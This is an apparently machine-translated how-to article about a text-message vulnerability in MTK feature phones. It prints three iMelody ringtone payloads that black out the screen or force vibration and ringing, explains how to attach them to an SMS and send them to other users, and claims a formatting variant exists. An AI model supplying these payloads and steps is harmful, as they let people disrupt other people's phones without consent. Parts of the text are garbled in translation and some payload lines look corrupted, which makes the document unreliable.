Someone sent me a text message with a vibrating screen.

I. Conditions at the time of the attack:

Recently, it is often reported that after receiving prank messages, the mobile phone appears black screen, vibration and ringing, which is the most typical vulnerability feature. This kind of short message basically tells you that if you browse the short message, there will be a black screen and so on. If you have courage, turn it over. Most people think this is a boring game played by boring people, but who knows that when you refuse, the situation will really appear. ...

Second, the vulnerability code:

In fact, all these situations are caused by imy ringtones supported by MTK mobile phones. Loading different imy files in the short message content will have different effects. The contents of this imy file are as follows: (Note that the code is between two lines of #, excluding #)

1。 blank screen

###########################

BEGIN:IMELODY

Beat: 1200

Melody: (ledoffbackoffvibeoffr5 ledoffbackoffvibeoffr5 @ 600)

End: IMELODY

###########################

2。 great earthquake

###########################

BEGIN:IMELODY

Version: 1.2

Format: CLASS 1.0

Beat: 100

Melody: (Ledofledonbackoffbackovibeon @ 300)

End: IMELODY

###########################

3。 ring

###########################

BEGIN:IMELODY

Version: 1.2

Format: CLASS 1.0

Beat: 200

Melody: (ledoffbackoffvibeonr5vibeoffledonbbackonr5 @ 200)

End: IMELODY

###########################

Third, take advantage of loopholes

This short message vulnerability can only be used on MTK mobile phones, which means that MTK mobile phone editors must send similar short messages to other MTK mobile phones to take effect. So first, you must have an MTK mobile phone. Then open Notepad in the computer, paste the corresponding code (the part between two lines of # signs, excluding # signs) into it, save it as a file, and put the imy file in the audio folder of the mobile phone. Make sure it's a mobile phone folder, not a memory card. Finally, start writing short messages on your mobile phone (note that they are short messages, not multimedia messages). The content of the short message is optional. After editing, click Options-Insert Object-My Ringtone, select the imy file you just made and send it to users who are also MTK phones.

When writing imy file, please note that the line "MELODY" has an @ symbol followed by a number, which is actually the action time. The larger the number after @, the longer it takes. You can change the status quo yourself. The unit of time is milliseconds.

Fourthly, vulnerability analysis.

After reading the previous content, it is clear that the essence of this vulnerability is imy file. It is understood that imy file is the earliest monosyllabic ringtone supported by Sony Ericsson, which can be used to call the decoding chip of mobile phone to make some sounds and even some core instructions. So if there are similar commands in the code, such as black screen, ringing, etc., these commands will be triggered once they are opened after being sent to the other party, which will of course cause corresponding results. At present, as long as someone can understand the programming language of these codes, it should be no problem to send short messages such as formatted memory cards. I have an imy file with formatting command in my hand, so I didn't experiment because I was afraid of causing bad consequences to others.

Experimental situation and prevention of verb (abbreviation of verb)

During the experiment, I found that not all mobile phones with gray function keys on the screen can be recruited. Maybe these phones don't use MTK scheme. I guess, since imy is not a proprietary format of MTK mobile phones, theoretically all mobile phones that support imy ringtones will be recruited. As for prevention, I find it difficult. After all, as long as it is triggered, it will be recruited. Maybe it will only help if you close similar SMS immediately, stop browsing and avoid activating imy file code. Of course, this is only relative, if the short message sent by the other party is inserted into imy file before writing. ...

Vulnerability of MTK platform cottage machine